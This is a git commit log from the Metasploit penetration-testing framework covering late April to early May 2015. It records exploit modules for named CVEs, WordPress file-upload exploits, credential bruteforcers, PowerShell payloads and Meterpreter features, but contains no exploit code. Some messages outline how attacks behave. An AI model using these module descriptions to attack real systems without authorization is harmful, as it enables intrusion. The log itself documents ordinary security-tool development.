William Vu
cc87df9123
Land #5323 , default creds fix for NETGEAR dirtrav
2015-05-09 14:36:00 -05:00
William Vu
79a8f37857
Land #5325 , WP RevSlider disclosure date fix
2015-05-09 14:34:03 -05:00
William Vu
eeb87a3489
Polish up module
2015-05-09 14:33:41 -05:00
HD Moore
fe907dfe98
Fix the disclosure date
2015-05-09 10:44:28 -05:00
Meatballs
706e304849
Land 5299, implement shell_command for PS sessions
2015-05-09 11:23:43 +01:00
Meatballs
98d531e053
Check if session responds to response_timeout
2015-05-09 11:21:45 +01:00
Meatballs
d2e1fdbbc3
Land #5324 , fixes #5318
...
Fixes enum_domain_group_users when running as SYSTEM.
2015-05-09 10:49:05 +01:00
Meatballs
028f9dd43b
Tidy and rubocop
2015-05-09 10:48:07 +01:00
Meatballs
e9dc93f345
Use cmd_exec
2015-05-09 10:44:02 +01:00
jvazquez-r7
cb51bcc776
Land #5147 , @lightsey's exploit for CVE-2015-1592 MovableType deserialization
2015-05-09 01:56:38 -05:00
jvazquez-r7
89bc405c54
Do minor code cleanup
2015-05-09 01:54:05 -05:00
Brent Cook
36b59d2c53
Land #5317 , update to ruby 2.1.6
2015-05-08 18:41:45 -05:00
Brent Cook
1a98c5ddc5
Land #5320 , fix SSL weak cipher results
...
This adds a fallback for deprecated ciphers that are no longer exported
current SSL libraries.
2015-05-08 18:19:25 -05:00
Brent Cook
d3730ae18c
include a list of deprecated ciphers in the sslscan result
...
Allow recording remote deprecated cipher support even if the local OpenSSL
library does not support negotiating that cipher.
2015-05-08 18:05:00 -05:00
jvazquez-r7
c103779eab
Land #5080 , @bcook-r7's 'ls' and 'download' meterpreter improvements
2015-05-08 18:02:16 -05:00
jvazquez-r7
422e261b36
Use parenthesis
2015-05-08 17:59:04 -05:00
benpturner
b33efd8b8d
Remove post modules
2015-05-08 21:49:58 +01:00
rwhitcroft
8c3a97667a
use get_env instead of client.sys.config.getenv
2015-05-08 15:25:20 -04:00
Brent Cook
2f9205abc3
recover consistent parenthesis usage
2015-05-08 14:15:06 -05:00
benpturner
96207ad288
No spaces
2015-05-08 20:11:56 +01:00
benpturner
dc98d34007
No spaces
2015-05-08 20:11:09 +01:00
benpturner
2bc4939998
Remove padding
2015-05-08 20:10:17 +01:00
benpturner
d3bb32f5fd
Hostname in header
2015-05-08 20:07:15 +01:00
Brent Cook
8d5ef42c2d
be sure to pass the pattern more than one level deep
2015-05-08 14:03:12 -05:00
benpturner
d64f577f9a
Delete old files
2015-05-08 19:54:13 +01:00
benpturner
e9c8ebb3e0
New modules with edit for authors
2015-05-08 19:51:17 +01:00
rwhitcroft
b2ce2ddb05
determine the domain using env vars instead of parsing net.exe output
2015-05-08 14:17:49 -04:00
void-in
a7988f9e93
Change credentials to service:service
2015-05-08 22:52:59 +05:00
Dave Hardy
fffed7ccbb
updated description
2015-05-08 12:08:46 +01:00
Dave Hardy
74be2e342e
new post modules
2015-05-08 12:02:26 +01:00
William Vu
508574970c
Land #5307 , Brocade login scanner resurrection
2015-05-07 22:43:39 -05:00
William Vu
8d3737d13c
Fix some stylistic issues
2015-05-07 22:43:23 -05:00
William Vu
71518ef613
Land #5303 , metasploit-payloads Java binaries
2015-05-07 22:39:54 -05:00
William Vu
2f2169af90
Use single quotes consistently
2015-05-07 22:39:36 -05:00
wchen-r7
eb98eaa0af
Land #5321 , CVE-2015-0359 domainMemory ByteArray Use After Free
2015-05-07 18:31:33 -05:00
jvazquez-r7
51bb4b5a9b
Add module for CVE-2015-0359
2015-05-07 17:00:00 -05:00
Brent Cook
a066105a86
prefer reading directly with MetasploitPayloads where possible
2015-05-07 16:59:02 -05:00
benpturner
ef59d1f7c4
Markers
2015-05-07 22:50:09 +01:00
William Vu
134a674ef3
Land #5312 , @todb-r7's release fixes
2015-05-07 15:34:31 -05:00
William Vu
c9cb9ad564
Fix extraneous comma
2015-05-07 15:32:48 -05:00
Christian Mehlmauer
1469a151ad
Land #5290 , Wordpress RevSlider Module
2015-05-07 22:15:56 +02:00
Tod Beardsley
d875142468
Get specs passing again for SSL results parsing
...
This deals with #5319 , but does not fix it completely. See the
discussion over there.
Regardless of the partial fix, unless you want to pick up implementing
40-bit scanning and parsing in Rex::SSL directly, I suggest landing this
to get out of the failing spec situation. Some day, Travis-CI will also
fix their system libraries, which will result in builds permafailing
without a reasonable spec change or proper workaround.
Living with known failing tests is living in a state of sin.
2015-05-07 14:29:23 -05:00
wchen-r7
7b5da6f266
Land #5241 , sqlmap parsing fixes
2015-05-07 14:21:20 -05:00
wchen-r7
eb84c8b89c
Fix NilClass bugs
2015-05-07 14:20:25 -05:00
Tod Beardsley
9af7aa8e4d
Travis should fix to 2.1.6 directly, no fuzziness
2015-05-07 13:44:31 -05:00
benpturner
24abe597e4
numeric
2015-05-07 19:23:25 +01:00
Tod Beardsley
e06fa08470
Bump Ruby version to 2.1.6
...
Note, this should also happen for pretty much every other repo that
wants to be on "latest" Ruby in the 2.1.x line.
2015-05-07 13:22:59 -05:00
benpturner
01c2bc0287
Buff
2015-05-07 19:10:33 +01:00
benpturner
c234714013
Start and End Markers
2015-05-07 19:06:36 +01:00
Brent Cook
4aa8344373
Land #5316 , ignore linux meterpreter bins
2015-05-06 16:30:03 -05:00
Brent Cook
78c58088fe
Land #5314 , set snmp defaults for constrained values
2015-05-06 16:27:41 -05:00
OJ
fc57852a23
Add the POSIX binaries to the ignore list
...
Now that the POSIX bins are in the metasploit-payloads gem, we can make
sure that we don't accidentally include them in future commits by adding
them to gitignore.
2015-05-07 07:25:24 +10:00
Brent Cook
5b2627c027
switch
2015-05-06 16:15:21 -05:00
OJ
60e25170fa
Land #5313 : fixup bind_tcp stager
2015-05-07 07:09:19 +10:00
Brent Cook
5573c6c7e8
remove hardcoded defaults from spec
...
ensure that we test for there being defaults in the underlying scanner
2015-05-06 15:57:14 -05:00
Tod Beardsley
4df622c76b
Oops, one last for #5312 .
2015-05-06 14:48:17 -05:00
Tod Beardsley
e8913e5620
Addressed most of @wvu's issues with #5312
2015-05-06 14:47:08 -05:00
Brent Cook
73735760ce
Land #5311 , fix more payload_exe->generate_payload_exe calls
2015-05-06 13:38:35 -05:00
William Vu
669df591f2
Pull default connection_timeout into constant
2015-05-06 13:18:00 -05:00
William Vu
d4aed08260
Fix typo
2015-05-06 13:17:58 -05:00
William Vu
0939bbc710
Set default retries/version for SNMP LoginScanner
...
Set in snmp_login but missed in the LoginScanner.
MSP-12668
2015-05-06 13:17:40 -05:00
Brent Cook
5a8b6e90f2
restore ecx after setting the socket options, set default size
2015-05-06 11:56:07 -05:00
Tod Beardsley
f423306b6f
Various post-commit fixups
...
Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed
in #5150 , @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
first landed in #5192 , @joevennix's module for Safari CVE-2015-1126
Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in
Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016 ,
add SSL Labs scanner
Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed
in #5101 , Add Directory Traversal for GoAhead Web Server
Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first
landed in #5158 , OWA internal IP disclosure scanner
Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
first landed in #5159 , WordPress Mobile Edition Plugin File Read Vuln
Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed
in #4924 , @m-1-k-3's DLink CVE-2015-1187 exploit
Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first
landed in #5131 , WordPress Slideshow Upload
Edited modules/exploits/windows/local/run_as.rb first landed in #4649 ,
improve post/windows/manage/run_as and as an exploit
(These results courtesy of a delightful git alias, here:
```
cleanup-prs = !"for i in `git status | grep modules | sed
s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git
log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo
''; done"
```
So that's kind of fun.
2015-05-06 11:39:15 -05:00
William Vu
b8c7161819
Fix up NameError'd payload_exe
2015-05-06 11:34:05 -05:00
William Vu
59ffe5d98f
Land #5306 , payload_exe NameError fix
2015-05-06 11:29:29 -05:00
wchen-r7
4b0f54f0aa
Land #5305 , CVE-2015-0336 Flash NetConnection Type Confusion
2015-05-06 11:26:22 -05:00
wchen-r7
97807e09ca
Lad #5125 , Group Policy startup exploit
2015-05-06 11:17:01 -05:00
wchen-r7
5b57e4e9ca
Add info about the waiting time
2015-05-06 11:15:11 -05:00
William Vu
0c18775562
Land #5309 , Linux bind_tcp rollback
2015-05-06 10:20:06 -05:00
Brent Cook
0493f58834
Reenable metasm bind_tcp stager
2015-05-06 09:34:35 -05:00
Brent Cook
3c2e6bb698
rollback linux bind_tcp stager metasm port
...
The new metasm port of the linux bind_tcp stager doesn't yet generate valid
executables. While we're debugging the problem, this reverts the bind_tcp.rb
stager to use the static ASM again.
2015-05-06 09:26:04 -05:00
Tom Sellers
94d1905fd6
Added WPVDB reference
...
Added a link to the new WPVDB article 7540 that @FireFart provided.
2015-05-06 05:41:02 -05:00
Tom Sellers
c293066198
Leverage check_version_from_custom_file in PR #5292
...
Change the 'check' code to leverage check_version_from_custom_file added to wordpress/version.rb by @FireFart in PR #5292
2015-05-06 05:41:02 -05:00
Tom Sellers
18697d8d02
Fixed the following based on feedback from @FireFart ( Thanks! )
...
- Adjusted references section
- Corrected call to normalize_uri
- Removed unnecessary require for rex/zip
2015-05-06 05:41:02 -05:00
Tom Sellers
8cb18f8afe
Initial commit of code
2015-05-06 05:41:02 -05:00
Sam Roth
5cb8b9a20a
Fix #5304
2015-05-05 22:25:06 -04:00
Brent Cook
93c785560b
remove brocade_telnet scanner, extend telnet
...
Rather than duplicate the entire telnet scanner, add a pre-login hook that a
module can use to extend the behavior on connect. This also adds a local
pass-through print_error method like http has.
2015-05-05 21:19:46 -05:00
Mike
dc053aeb58
Spelling Fix
...
s/Brocde/Brocade/ as per bcook-r7
2015-05-05 21:16:24 -05:00
root
fc1c0028a8
moved array definition to avoid error
2015-05-05 21:16:23 -05:00
root
7949daf42b
brocade_enable_login msftidy success
2015-05-05 21:16:23 -05:00
root
6b5aaa5479
brocade enable command bruteforcer
2015-05-05 21:16:23 -05:00
jvazquez-r7
582919acac
Add module for CVE-2015-0336
2015-05-05 17:25:19 -05:00
Brent Cook
710a2a007b
fix format error
2015-05-05 15:27:06 -05:00
William Vu
b862d24f0a
Land #5302 , module title/ref updates
2015-05-05 15:21:34 -05:00
Brent Cook
f0c989c1b5
remove java payloads and jars
2015-05-05 15:01:00 -05:00
Brent Cook
a0c806c213
Update java meterpreter and payload references to use metasploit-payloads
2015-05-05 15:01:00 -05:00
Darius Freamon
c988447c18
title enhancement, OSVDB ref
...
touch up title and add OSVDB reference
2015-05-05 13:21:36 -06:00
benpturner
982b2381ed
New shell_command markers
2015-05-05 19:20:03 +01:00
William Vu
013781fb9c
Land #5292 , WordPress custom file version check
2015-05-05 11:21:18 -05:00
William Vu
18791ce933
Clean up code
2015-05-05 11:19:40 -05:00
benpturner
22d2275ecb
|| session.type == 'powershell'
2015-05-05 09:31:43 +01:00
OJ
c540ba4b98
Land #5297 : Track machine_id and dead sessions
2015-05-05 17:08:39 +10:00
Brent Cook
05e4af8162
Land #5214 , initial meterpreter session recovery support
2015-05-04 16:25:27 -05:00
Brent Cook
3771a78564
update to metasploit-payloads 0.0.3
2015-05-04 16:17:57 -05:00
benpturner
453b1fce50
Spaces
2015-05-04 22:17:08 +01:00
benpturner
658958d8e7
Allow sessions -c command on powershell
2015-05-04 22:07:22 +01:00
jvazquez-r7
b95be1b25f
Support information to include logon scripts
2015-05-04 15:49:19 -05:00
Brent Cook
d90c25ecea
Land #5287 , RPC API fixes
2015-05-04 15:44:15 -05:00
William Vu
bc1e52a625
Land #5298 , OSVDB reference addition
2015-05-04 15:31:00 -05:00
Darius Freamon
dc42a3ee1a
add OSVDB ref
...
add OSVDB ref
2015-05-04 14:27:44 -06:00
jvazquez-r7
0ca0d3d045
Improve nt_create_andx path parsing
2015-05-04 15:20:51 -05:00
sinn3r
0b4260ab89
Merge pull request #28 from bcook-r7/land-5287-rpc-fixes
...
More #5287 RPC API fixes
2015-05-04 14:46:37 -05:00
Brent Cook
cda7dc3494
remove old posix meterpreter bins
2015-05-04 09:44:37 -05:00
Brent Cook
e6ea5511ca
update linux and windows meterpreters to use metasploit-payloads
2015-05-04 09:44:36 -05:00
Brent Cook
f42334414a
add recursion limit
2015-05-04 04:00:58 -05:00
Brent Cook
7ff3044552
style cleanups and guard search where not implemented
2015-05-04 03:56:17 -05:00
Brent Cook
8cab350275
use the search API when downloading recursive patterns
2015-05-04 03:56:17 -05:00
Brent Cook
eefc6f78c6
avoid redownloading files that have not changed
2015-05-04 03:56:16 -05:00
Brent Cook
9672a59b05
support download globbing
2015-05-04 03:56:16 -05:00
Brent Cook
43be856b95
keep the glob going into subdirectories
2015-05-04 03:56:16 -05:00
Brent Cook
8617115483
simplify arg parsing, compute initial stat path correctly
2015-05-04 03:56:15 -05:00
Brent Cook
d934027b3b
expand glob match
2015-05-04 03:56:15 -05:00
Brent Cook
c5c7242374
teach pymet how to glob on ls as well
2015-05-04 03:56:14 -05:00
Brent Cook
866955b6fd
added -R recursive, glob filtering and a dummy '-l' option
2015-05-04 03:56:14 -05:00
HD Moore
a577bef9c3
Rework dirty cleanup to use skip_cleanup instead
2015-05-04 03:52:55 -05:00
HD Moore
e7ba6e8a9a
Speed up dead session cleanup by skipping shutdown/cleanup
2015-05-04 03:40:48 -05:00
HD Moore
3080feb188
Track the machine_id and drop non-responsive sessions automatically
2015-05-04 03:22:29 -05:00
HD Moore
d00f6a8fdf
Rework verbose sessions listing to work around table limits
2015-05-04 02:55:31 -05:00
root
b47305ba4a
Merge branch 'sqlmap_plugin_json_parse_issue' of https://github.com/void-in/metasploit-framework into sqlmap_plugin_json_parse_issue
2015-05-04 10:01:44 +05:00
root
02db66e2f6
Rescue connection refused backtrace
2015-05-04 09:57:53 +05:00
William Vu
67a23f2c74
Land #5296 , info hash product name fix
2015-05-03 14:36:25 -05:00
William Vu
0e9c25d133
Land #5294 , browser_autopwn invalid module fix
2015-05-03 14:33:47 -05:00
William Vu
c0adf7f113
Land #5291 , HTTPS reference links
2015-05-03 14:33:20 -05:00
William Vu
18965f7109
Land #5289 , wordpress/version.rb comment update
2015-05-03 14:31:15 -05:00
John Lightsey
4bfb9262e6
Add exploit module for MovableType CVE-2015-1592
...
This module targets the deserialization of untrusted Storable data in
MovableType before 5.2.12 and 6.0.7. The destructive attack will
function on most installations, but will leave the webapp corrupted.
The non-destructive attack will only function on servers that have the
Object::MultiType (uncommon) and DateTime (common) Perl modules
installed in addition to MovableType.
2015-05-03 14:18:01 -05:00
Darius Freamon
a5c10b7f10
Fix product name
...
Product name missing a letter in two locations
2015-05-03 13:11:22 -06:00
HD Moore
8ca66e03aa
Track and display the last checkin time for Meterpreter sessions
2015-05-03 10:52:54 -05:00
joev
db999d2c62
Remove ff 31-34 exploit from autopwn, requires interaction.
2015-05-03 10:42:21 -05:00
Christian Mehlmauer
55967172be
allow custom regex
2015-05-02 21:06:15 +02:00
Christian Mehlmauer
9678479abb
check version from custom file
2015-05-02 18:34:10 +02:00
Tom Sellers
480a176415
Initial commit
2015-05-02 10:11:17 -05:00
void-in
6a286fd514
Single quotes a per ruby style
2015-05-02 15:18:25 +05:00
void_in
e5847f0ddc
Return only json type from lib as per wchen-7 suggestion
2015-05-02 15:11:59 +05:00
OJ
2189c6d868
Pass timeouts to clients and correctly patch timeouts
...
Timeouts are correctly passed through to the client instances from the
handlers. The cilent also passes those values through to the RDI code so
that the binaries are correctly patched.
2015-05-02 10:01:32 +10:00
jvazquez-r7
93ac8b48e3
Land #5178 , @jboss_vulnscan check for console default admin
...
* And minor fixes
2015-05-01 17:38:20 -05:00
jvazquez-r7
697c6c20cb
Do minor cleanup
2015-05-01 17:37:45 -05:00
Tom Sellers
c441ff81a1
Update comment in wordpress/version.rb
...
The comment 'All versions are vulnerable' makes sense on line 163 where there is no introduced or fixed version. On line 175 though there is a fixed version, just no introduced version. Adjusting comment text.
2015-05-01 17:05:31 -05:00
Brent Cook
8bd2a69112
simplify and fix rpc_get_note
2015-05-01 16:01:07 -05:00
Brent Cook
52b9fc8fca
handle unknown host when generating a new note
2015-05-01 15:47:05 -05:00
Brent Cook
8d78135321
pass down the workspace for the other opt_to_* methods
2015-05-01 15:42:04 -05:00
Brent Cook
f2504b84be
use the same logic with 'get_note' and 'del_note' for selecting notes
...
factor out the selector from 'get_note' and use it in both places
2015-05-01 15:41:25 -05:00
Brent Cook
29b97f4695
remove superfluous parens on ifs
2015-05-01 15:40:45 -05:00
jvazquez-r7
c6806b4e5f
Land #5102 , @wchen-r7's ManageEngine Desktop Central Login Utility
2015-05-01 15:20:21 -05:00
jvazquez-r7
3e7c790db8
Use constants
2015-05-01 15:15:18 -05:00
Brent Cook
97d671d156
allow overriding the default timeout for a session
2015-05-01 15:04:55 -05:00
jvazquez-r7
b037560c90
Do minor style fixes
2015-05-01 15:01:13 -05:00
jvazquez-r7
9f0b2d4f0f
One expectation for every example
2015-05-01 14:57:48 -05:00
jvazquez-r7
d880f50b98
Normalize
2015-05-01 14:54:42 -05:00
jvazquez-r7
213d34ce61
Delete unnecessary let
2015-05-01 14:54:12 -05:00
jvazquez-r7
a531ad9ec2
Land #5096 , @pedrib's exploit for Novell ZCM CVE-2015-0779
2015-05-01 14:35:28 -05:00
jvazquez-r7
0ff33572a7
Fix waiting loop
2015-05-01 14:34:43 -05:00
jvazquez-r7
645f239d94
Change module filename
2015-05-01 14:18:34 -05:00
jvazquez-r7
11a3f59b0b
Return false if there isn't a positive answer
2015-05-01 14:06:57 -05:00
jvazquez-r7
093c2e3ace
Do minor style cleanup
2015-05-01 13:56:48 -05:00
jvazquez-r7
d38adef5cc
Make TOMCAT_PATH optional
2015-05-01 13:54:39 -05:00
jvazquez-r7
d2a7d83f71
Avoid long sleep times
2015-05-01 13:51:52 -05:00
jvazquez-r7
8fcf0c558d
Use single quotes
2015-05-01 13:20:27 -05:00
Brent Cook
c3438955d4
Land #5169 , stop reading when the HTTP socket is closed
2015-05-01 11:40:49 -05:00
William Vu
6feb52f8cd
Land #5288 , energizer_duo_payload fixes
2015-04-30 18:28:03 -05:00
Darius Freamon
aa59b3acc6
title enhancement, description touch-up
...
Expanded title to be more precise and standardized use of vendor name
2015-04-30 17:23:15 -06:00
William Vu
3baa717de4
Fix #5016 , typo fix in description
2015-04-30 17:58:38 -05:00
William Vu
83288ff391
Fix typo
2015-04-30 17:58:26 -05:00
William Vu
c70735436a
Land #5285 , ActiveRecord::ReadOnlyRecord fix
2015-04-30 17:33:55 -05:00
wchen-r7
81744384c2
Actually fix del_note
2015-04-30 17:02:06 -05:00
wchen-r7
11f9c010ce
Change documentation
2015-04-30 16:46:01 -05:00
David Maloney
18874fe384
fixes Issue #5272 on report_vuln
...
use includes instead of joins so that refs on
the vuln are not marked as readonly
2015-04-30 15:21:56 -05:00
wchen-r7
e79780d885
Fix #5240
2015-04-30 15:20:29 -05:00
wchen-r7
3b42265c98
Fix #5239
2015-04-30 15:20:04 -05:00
wchen-r7
440005d302
Fix #5237
2015-04-30 15:10:13 -05:00
wchen-r7
f315eb4afd
Fix #5236
2015-04-30 15:07:11 -05:00
wchen-r7
70ab938951
Fix #5229
2015-04-30 14:56:30 -05:00
William Vu
cfc4dfb94f
Land #5282 , .mailmap updates
2015-04-30 14:15:09 -05:00
wchen-r7
f43e4f9447
Fix #5238
2015-04-30 13:49:13 -05:00
Tod Beardsley
69455f988d
Sorting and adding a couple more -r7 to mailmap
2015-04-30 12:34:31 -05:00
wchen-r7
2e02646b8b
Land #5231 , #check_export_status repeats probes if status not ready
...
Fix #5217
2015-04-30 12:34:29 -05:00
wchen-r7
89d026c900
Fix merge conflict
2015-04-30 12:33:45 -05:00
wchen-r7
17e54fff1f
Land #5275 , Flash CVE-2014-8440
2015-04-30 12:14:06 -05:00
William Vu
2d2c946044
Land #5279 , fix for msfconsole -o
2015-04-30 11:23:44 -05:00
William Vu
cbaaea2ce4
Land #5278 , D-Link Telnet passwords
2015-04-30 11:23:33 -05:00
James Lee
ee5dc1d6e4
Land #5277 , typo in telnet_encrypt_overflow
2015-04-30 10:44:55 -05:00
James Lee
3e40433f00
Add an alias for write
...
Fixes #4971
2015-04-30 08:56:16 -05:00
jvazquez-r7
b07a864416
Fix as indentation
2015-04-29 19:01:11 -05:00
jvazquez-r7
d773f85dca
Add reference to malware
2015-04-29 17:53:29 -05:00
jvazquez-r7
dbba466b5b
Add module for CVE-2014-8440
2015-04-29 17:52:04 -05:00
Brent Cook
4c9f44b00c
Revert "Land #4888 , @h00die's brocade credential bruteforcer"
...
There were some issues with this module that caused backtraces when run outside
of msfconsole. Reverting it for now so we can add some specs and ensure that it
works like the other login scanners.
2015-04-29 15:36:03 -05:00
Brent Cook
b02e1f60d7
Land #5274 , don't rely on rhost being defined
2015-04-29 15:30:43 -05:00
William Vu
b41aa0e617
Fix NoMethodError for rhost
...
Can't rely on it to be defined (kinda like peer).
2015-04-29 15:14:41 -05:00
Samuel Huckins
3cfe812965
Land #5273 , drops early rex require causing msfcli error
2015-04-29 15:07:14 -05:00
Brent Cook
043d1a2d27
remove early require of rex in msfcli
...
This is causing startup issues in some environments where not all the rex
dependencies are loading. Remove it for now, removal of msfcli is close at hand
anyway.
2015-04-29 14:27:18 -05:00
William Vu
5defb50252
Fix #5267 , references fixes
2015-04-29 14:21:23 -05:00
William Vu
a4531e62a0
Clean up references
2015-04-29 14:21:08 -05:00
William Vu
7962be3e2a
Fix #5271 , moved OSVDB reference
2015-04-29 14:18:52 -05:00
William Vu
b2d08251e4
Move reference
2015-04-29 14:18:45 -05:00
William Vu
1eeb9af2d0
Land #5271 , Symantec Workspace Streaming updates
2015-04-29 14:16:23 -05:00
William Vu
fd567195e3
Fix punctuation and missing comma
2015-04-29 14:12:44 -05:00
Darius Freamon
5f0736fa4c
enhance title and description, add OSVDB reference, standardized JBoss
2015-04-29 11:39:40 -06:00
Brent Cook
cc47f8f6e8
Land #5265 , handle SSL being disabled in the SSL version scanner
2015-04-29 12:34:55 -05:00
Brent Cook
59ccf93b55
Land #5267 , update Title, OSVDB references for Symantec Endpoint Protection Manager
2015-04-29 09:49:28 -05:00
Darius Freamon
c01fc829ab
Title enhancement, OSVDB refs
2015-04-28 15:56:34 -06:00
William Vu
9b17191e48
Remove unnecessary {,dis}connect
2015-04-28 15:09:16 -05:00
William Vu
28e661e204
Fix false positive in POODLE scanner
...
If SSL is false somehow.
2015-04-28 14:19:48 -05:00
HD Moore
1a7a5c2977
Lands #5263 , fixes race in powershell module load
...
will be ignored, and an empty message aborts
an empty message aborts
2015-04-27 21:10:57 -05:00
HD Moore
8bff4e9100
Merge branch 'master' of github.com:rapid7/metasploit-framework
2015-04-27 21:06:32 -05:00
Brent Cook
6058dee99a
explicitly require bind_tcp/reverse_tcp modules
...
This transient error was noted in the release documentation builder.
metasploit-framework/modules/payloads/singles/windows/powershell_bind_tcp.rb:37:in
`initialize': uninitialized constant Msf::Handler::BindTcp (NameError)
2015-04-27 20:57:31 -05:00
jvazquez-r7
e14b4fc6d8
Fix #5258 by reverting #4989 and recovering the old file: handling behavior
2015-04-27 17:01:23 -05:00
jvazquez-r7
59d6ad5a6d
Restore specs
2015-04-27 17:00:19 -05:00
HD Moore
7c207a7c65
Merge branch 'master' of github.com:rapid7/metasploit-framework
2015-04-27 16:34:45 -05:00
HD Moore
c3f18aa899
Complete the #4989 revert
2015-04-27 16:26:34 -05:00
Christian Mehlmauer
7523e592d2
Land #5198 , WordPress contus video gallery 2.7 scanner
2015-04-27 23:24:57 +02:00
HD Moore
36daee08c9
Reverts #4989 , support for file: is handled in the options again
2015-04-27 16:07:43 -05:00
Brent Cook
7443af64a6
Land #5247 , add RPC API call documentation
2015-04-27 11:13:02 -05:00
Brent Cook
a0eb7d0ad3
minor RPC documentation tweaks
2015-04-27 11:11:08 -05:00
m-1-k-3
f2b50e1e2f
removed empty line
2015-04-27 05:29:47 +02:00
Brandon Perry
7a2084cdc5
Rename wordpress_contus_video_gallery_sqli.rb to wp_contus_video_gallery_sqli.rb
2015-04-26 16:54:21 -05:00
HD Moore
1fd601510c
Lands #5194 , merges in PowerShell session support & initial payloads
2015-04-26 16:01:51 -05:00
HD Moore
1cebc9f3cb
Fallback if the regex fails for some reason
2015-04-26 15:59:36 -05:00
HD Moore
f56eac7f10
Cosmetic cleanup and binary mode read for powershell script
2015-04-26 15:57:51 -05:00
Ben Turner
82fe480c2e
Update session to display username and hostname
2015-04-26 21:47:49 +01:00
Ben Turner
ea0204b7e5
updates to remove powershell from core
2015-04-26 21:25:30 +01:00
benpturner
f2c745d2a7
update cached sizes
2015-04-26 20:24:41 +01:00
benpturner
76e68fcf4c
session info
2015-04-26 20:13:18 +01:00
benpturner
d19406c593
Update the payload cache size
2015-04-26 18:56:32 +01:00
benpturner
1cc167a7fb
Inserted ARCH_X86 payloads, removed interactive_powershell and updated base powershell session
2015-04-26 18:50:42 +01:00
benpturner
4cb1a6c255
Updated payload cached size
2015-04-26 09:30:41 +01:00
benpturner
e6c61c461e
Updated payloads and fixed msftidy.
2015-04-26 09:20:29 +01:00
m-1-k-3
b330b1d41c
typo in title of telnet_encrypt_overflow.rb
2015-04-26 02:32:14 +02:00
m-1-k-3
f74d385b6a
dlink telnet passwords added from firmware.re
2015-04-26 02:29:30 +02:00
benpturner
ded904c72c
New payloads
2015-04-26 00:16:59 +01:00
benpturner
a02ea90824
New payloads which work with cmd
2015-04-25 16:49:22 +01:00
OJ
9f1e035c53
Changed required_space check in bind payloads
2015-04-25 21:30:54 +10:00
benpturner
aa4dc78cba
updates to author comments in powershell script
2015-04-25 08:47:17 +01:00
benpturner
19d26da11e
updated to remove powershell stand-alone payloads
2015-04-25 08:15:48 +01:00
benpturner
7afb6e1aa6
Removed stand-alone payloads and will push these as a seperate fork request.
2015-04-25 07:57:43 +01:00
benpturner
6be2c0beab
Dynamic
2015-04-25 07:49:34 +01:00
benpturner
996cf9bf5c
Dynamic payloads
2015-04-25 07:43:48 +01:00
benpturner
2273fb541a
payload cached_sizes
2015-04-25 07:33:51 +01:00
benpturner
de09b6e330
Typo in payload spec
2015-04-25 07:30:09 +01:00
benpturner
d7bc050e96
updates to payload spec
2015-04-25 07:16:17 +01:00
benpturner
215e67bcbd
Updated comments
2015-04-25 07:02:25 +01:00
Brent Cook
4ffffa59fe
Land #5184 , restore store_loot for ssh_creds gatherer
2015-04-24 13:55:06 -05:00
Brent Cook
ff96101dba
Land #5218 , fix #3816 , remove print_debug / DEBUG
2015-04-24 13:41:07 -05:00
Brent Cook
27f6adcd81
Land #5110 , teach Http::Response to extract hidden form inputs
2015-04-24 13:30:57 -05:00
benpturner
941a4ee572
updated cached size using tools/update_payload_cached_sizes.rb
2015-04-24 19:13:54 +01:00
wchen-r7
46361c1a19
Final round of documentation
2015-04-24 11:58:12 -05:00
jvazquez-r7
7167dc1147
Land #5243 , @espreto's WordPress WPshop eCommerce File Upload exploit
2015-04-24 11:30:28 -05:00
jvazquez-r7
558103b25d
Do code cleanup
2015-04-24 11:30:08 -05:00
jvazquez-r7
896d6e8cb7
Fix title
2015-04-24 11:09:39 -05:00
jvazquez-r7
1825b45ac3
Land #5242 , @espreto's module for GI-Media Library Plugin Directory Traversal
2015-04-24 11:08:52 -05:00
jvazquez-r7
7af6f31c3a
Fix message
2015-04-24 11:08:00 -05:00
jvazquez-r7
5ca6fe3cb0
Do code cleanup
2015-04-24 11:07:13 -05:00
William Vu
41df43ecee
Fix #5223 , bad indentation in desc method
2015-04-24 11:03:44 -05:00
William Vu
655e819838
Fix indentation
2015-04-24 11:03:31 -05:00
William Vu
bbfcb3532b
Land #5223 , case-insensitive plugin unload
2015-04-24 10:59:10 -05:00
Brent Cook
f457f36cdd
Land #5213 , improvements to MS15-035 DoS
2015-04-24 10:54:48 -05:00
jvazquez-r7
7a3949ed52
Land #5230 , @espreto's exploit for WordPress InBoundio Marketing File Upload
...
* OSVDB 119890
2015-04-24 10:49:52 -05:00
jvazquez-r7
8a8d9a26f4
Do code cleanup
2015-04-24 10:47:46 -05:00
William Vu
2a4bf5480b
Land #5246 , full stop fix for SRV record
2015-04-24 10:45:12 -05:00
jvazquez-r7
b5223912cb
Fix check method
2015-04-24 10:41:41 -05:00
Roberto Soares
c9b4a272e3
Changed fail_with output.
2015-04-24 12:16:23 -03:00
kaospunk
bb0b2eee37
Fix missing . in SRV query
...
This update adds a missing . to the end of the
_ldap._tcp SRV record so that it properly forms
the DNS query.
2015-04-24 10:42:31 -04:00
root
4aed12f561
Include if condition in parse_response as per Meatballs1 suggestion
2015-04-24 15:40:35 +05:00
benpturner
2ccf818c7b
msftidy
2015-04-24 11:16:31 +01:00
Roberto Soares
e14c6af194
Removed double 'Calling payload'.
2015-04-24 06:26:04 -03:00
benpturner
00d8958cc8
New payloads for reverse_tcp for powershell
2015-04-24 10:25:37 +01:00
Roberto Soares
01efc97c4a
Add WordPress WPshop eCommerce File Upload.
2015-04-24 06:21:49 -03:00
root
cf481e94d3
add res.body condition
2015-04-24 12:58:58 +05:00
Roberto Soares
e51897d64e
Filepath option
2015-04-24 04:35:59 -03:00
Roberto Soares
7b0b59b5f6
Add WordPress GI-Media Library Plugin File Read.
2015-04-24 04:24:16 -03:00
root
fae338d0ae
Take out irrelevant file plugin/sqlmap.rb
2015-04-24 12:09:49 +05:00
root
62cb0c8749
Take out irrelevant files (nessus)
